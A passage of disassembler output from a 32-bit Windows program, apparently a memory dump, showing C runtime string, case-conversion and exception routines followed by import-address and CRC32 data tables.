		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2650343h
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		call	near ptr 264100Eh
		nop
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2811010h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2811010h
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 264100Eh
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 264100Eh
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	near ptr 2610075h
		nop
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 261081Dh
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610075h
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2811010h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2811010h
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 261081Dh
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25F0000h, 2600000h, 2600A9Ch, 2600B37h, 2610000h, 2610075h
		dd 261081Dh, 2620000h, 26204D0h, 26206E4h, 2630000h, 2630163h
dword_427030	dd 263017Eh		; DATA XREF: ___:004239E2r
		db 90h
		db 2, 63h, 2
		dd 263056Ch, 26305CEh, 2630714h, 2640000h, 264100Eh, 2650000h
		dd 2650343h, 26508E6h, 2650918h, 2650951h, 2660000h
dword_427064	dd 2660559h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 26606FEh		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 26608D5h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2660B67h, 2670000h, 26709F6h
dword_427080	dd 2670E97h		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 2680000h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 26801F9h
dword_42708C	dd 26802EFh		; DATA XREF: sub_419C09+B9r
		dd 2680918h
dword_427094	dd 2680972h		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 268099Dh		; DATA XREF: ___:loc_4013DCr
		dd 2680D6Ah, 2680E33h
dword_4270A4	dd 2690000h		; DATA XREF: sub_409909+2r
		dd 26901A5h, 2690262h
dword_4270B0	dd 269083Ah		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26908E5h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26A0000h, 26A0BAAh
dword_4270C0	dd 26B0000h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26B032Eh		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26C0000h, 26D0000h, 26D04D8h, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E04C2h, 26E05A6h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 26F107Dh		; DATA XREF: sub_4119F9+Br
		dd 2700000h, 2710000h
dword_4270F8	dd 27107C1h		; DATA XREF: sub_4187E0+36r
		dd 2710A1Ah, 2720000h
dword_427104	dd 27206A8h		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2730000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 27315A6h, 2740000h, 2740AF5h, 2750000h, 275064Ch, 2760000h
		dd 2770000h, 27711CFh, 2771CC6h, 2780000h, 2780122h, 27802A0h
		dd 27804FCh, 2790000h, 27907BAh
dword_427148	dd 27A0000h		; DATA XREF: sub_4172C1+BCr
		dd 27B0000h
dword_427150	dd 27C0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27C0AA9h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27C0B1Eh
dword_42715C	dd 27D0000h		; DATA XREF: sub_41761C+56r
		dd 27D0310h, 27E0000h, 27E10C4h, 27E1707h, 27F0000h, 27F02CDh
		dd 27F0498h, 2800000h, 2800764h, 2810000h
dword_427188	dd 2811010h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2820000h, 28204A5h, 2820938h, 2820CE0h, 2830000h, 2840000h
		dd 28420B2h, 2850000h, 2851C10h, 2851C47h, 2860000h, 2860E19h
		dd 2870000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
